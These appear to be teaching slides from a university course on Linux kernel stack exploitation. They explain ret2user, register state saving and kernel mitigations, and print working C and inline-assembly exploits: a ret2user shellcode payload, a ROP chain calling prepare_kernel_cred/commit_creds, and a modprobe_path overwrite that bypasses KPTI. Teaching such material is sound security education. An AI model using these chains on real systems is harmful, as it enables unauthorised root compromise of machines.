ENPM809V
Kernel Hacking - Stack
Objectives
- Learn about Kernel Stack Attacks
- Discover differences between Userspace and Kernel
- Mitigations
- Practice
Kernel Stack Attacks
What are they?
- The exact same thing as user-space. Using the stack as a mechanism to exploit (but this time in the kernel).
- Everything still applies from user-space as kernel (except for the shellcoding).
- Mitigations are slightly different.
Objective of Kernel-Attacks
- When doing stack overflow in the kernel, we want to:
- Elevate privileges
- Execute another process
- Disable capabilities
- Leak data
- etc. etc.
Objective of Kernel-Attacks
- When doing stack overflow in the kernel, we want to:
- Elevate privileges
- Execute another process
- Disable capabilities
- Leak data
- etc. etc.
Where does my shellcode live?
- If you have an executable region of memory, you can put your kernel shellcode in the kernel.
- You can also store it in userspace
- The kernel keeps track of virtual memory of the process
- There are mitigations for this today (SMEP/SMAP)
How might I identify a kernel stack overflow?
- Very similar to user-space stack overflow.
- Unprotected copy_to_user (aka _copy_to_user)
- Don't let a disassembler trick you on this one
- memcpy
- string functions
- many different API. You will need to research them.
- Unprotected copy_to_user (aka _copy_to_user)
ret2user
What is it?
- When we return from a kernel-function, we jump to shellcode stored in a buffer in userspace.
- This is essentially ret2shellcode for the kernel.
How do we do it?
- We write our shellcode in user-space (generally C is preferred)
- When we create our payload, we are going to have the return address be the address of our userspace buffer.
- Execute our buffer overflow
- Profit!
void write_ret() {
uint8_t sz = 50;
uint64_t payload[sz];
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = shellcode; // return address
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[!] If you can read this we failed the mission :(");
}
uint64_t user_cs, user_ss, user_sp, user_rflag user_rip;
void save_state() {
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
puts("[+] Saved state");
}
void shellcode() {
__asm__(".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;"
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs rax, commit_creds:"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;" // Where we return to!
"push r15;"
"iretq;"
".att_syntax;");
}Why am I saving state?
- After we execute our shellcode, we need to return execution to the user
- Especially for privilege escalation
- We are saving off critical registers that indicate to the current running program whether we are in the kernel or in user-space.
- Otherwise we won't be able to execute anymore!
- Aka - We will elevate privilege and then crash.
Why am I saving state?
- swapgs - The
swapgsinstruction is an x86-64 specific instruction designed for fast switching between user space and kernel space in 64-bit operating systems. - It atomically exchanges the contents of the GS register base (MSR_GS_BASE) with the contents of the "kernel GS base" register (MSR_KERNEL_GS_BASE).
- This allows operating systems to maintain two separate GS base values:
- One for user space applications
- One for kernel mode operations
Why am I saving state?
- iretq - Defined as interrupt return
- Indicates that we are swapping the CS, RIP, RFLAGS, RSP, SS registers.
- Reads from the stack and puts the values into the appropriate registers.
Mitigations
Yes they exist :(
- Just like user-space, this quickly became abused so there are now mitigations to protect these.
- Some are similar to their user-space counterparts.
- KASLR, Stack Canaries, etc.
- Others are a little bit different
- SMEP, SMAP, etc.
- Let's talk about a few.
KASLR
- Kernel-Address-Space-Layout-Randomization
- This randomizes the addresses on the stack each time the computer boots.
- The only way to restart the kernel is by rebooting the machine in a monolithic architecture
- This means as long as the machine is up, the addresses are going to be the same
- But also means that two computers with the same kernel are going to have different stack layouts.
- Otherwise you need a leak.
- This randomizes the addresses on the stack each time the computer boots.
NX
- NX is a thing in the kernel as well.
- By default, memory allocated by the user is considered NX.
- Can get around this if not careful
- vmalloc has a flag PAGE_KERNEL_EXEC
stack canaries
- Stack canaries are the same! Exact same check as in userspace.
- Same constraints as KASLR
- Stack canaries only change on reboot of the machine
SMEP/SMAP
- Stands for Supervisor Mode Execution/Access Protection/Prevention
- Hardware-based CPU security feature to prevent kernel from executing user-space code and access user-space memory
- This disables the ability to perform a ret2user
- Prevents reading and writing data from/to user without the use of a protected function like copy_from_user and copy_to_user
- These functions have additional security checks around them.
Kernel Page Table Isolation
- KPTI - separates user-space and kernel-space page tables
- This prevents speculative execution vulnerabilities
- Exploit out-of-order execution in the kernel
- Read kernel memory from user mode - bypassing privilege checks
- Leak sensitive data
- This is to mitigate specifically Spectre and Meltdown
- If this is enabled, two sets of page tables are created
- One for user-space
- One for kernel-space
- Won't get into this much, but good to know as well!
Bypassing Mitigations
Overview
- We have many of the same ways we can bypass mitigations
- Choosing when to use certain mitigations depends on security measures involved
- We don't want to create extra work for ourselves if we don't need to
Leaks
- If we have the ability to leak data in the kernel, we should take advantage of this!
- Helps to understand where base addresses are in the kernel stack
- Gets canaries for us!
Storing Shellcode in Kernel
- If we have the ability to store the shellcode in the kernel, this is a good way to get around SMEP/SMAP
- Look for vmalloc calls and being able to set PAGE_KERNEL_EXEC
- This may not always be available to us
ROP
- We can do ROP Chains just like in userspace
- Inside the kernel, we can jump to any function we know the address to.
- cat /proc/kallsyms
- Figuring out addresses via writing kernel modules
ROP
- The difference between Kernel ROP and user-space ROP is that we are not limited to strictly an application and it's shared libraries.
- Anything in the kernel is fair game (including other kernel modules)
ROP
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_rdi_rax_clobber_rsi140_pop1 = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;
void exploit() {
uint8_t sz = 35;
uint64_t payload[sz];
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rdi_ret;
payload[cookie_off++] = 0x0; // Set up gfor rdi=0
payload[cookie_off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1; // save ret val in rdi
payload[cookie_off++] = 0x0; //compensate for extra pop rbp
payload[cookie_off++] = commit_creds; // commit_creds(rdi)
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0; // compensate for extra pop rbp
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip; // Notice the reverse order ...
payload[cookie_off++] = user_cs; // compared to how ...
payload[cookie_off++] = user_rflags; // we returned these ...
payload[cookie_off++] = user_sp; // in the earlier ...
payload[cookie_off++] = user_ss; // exploit :)
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[!] If you can read this we failed the mission :(");
}Modprobe
- More advanced concept - meant for bypassing KPTI mitigations
- Modprobes loads kernel modules intelligently
- Meaning we can load certain modules when needed
- This is often used to not load too much into the kernel at once
Modprobe
- There is a function in the kernel called search_binary_handler which searches for modules/files needed when execve is executed
- During the chain of function calls that execve makes, one of them is search_binary_handler.
- This looks for modules needed by the binary file called by execve
- Calls call_modprobe to load those kernel modules
Modprobe
- The way that it loads execve can be abused to modify the thing that is loading.
- We can load arbitrary files via call_modprobe by modifying the modprobe_path argument, and GG
- This is a concept that needs a lot more time to explain (will be in next class). More details in the reference after.
Modprobe
void exploit() {
uint8_t sz = 35;
uint64_t payload[sz];
printf("[*] Attempting cookie (%#02llx) cookie overwrite at offset: %u.\n",
cookie, cookie_off);
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rax_ret; // ret
payload[cookie_off++] = 0x772f706d742f; // rax: /tmp/w == our win condition
payload[cookie_off++] = pop_rdi_ret;
payload[cookie_off++] = modprobe_path; // rdi: modprobe_path
payload[cookie_off++] = write_rax_into_rdi_ret; // modprobe_path -> /tmp/w
payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + 22; // KPTI
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = (uint64_t) abuse_modprobe; // return here
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
puts("[*] Firing payload");
uint64_t data = write(global_fd, payload, sizeof(payload));
}Lots of Others to Consider
- Modprobe - Searches for kernel modules
- Signal Handling
- But we are not going to get into that today.
- This is for KPTI protections
- We are going to spend the rest of the day practicing and honing in our shellcoding/exploitation skills!
References
- https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#references - HUGE Help - really goes into depth
ENPM809V - Kernel Hacking - Stack
By Ragnar Security
ENPM809V - Kernel Hacking - Stack
- 144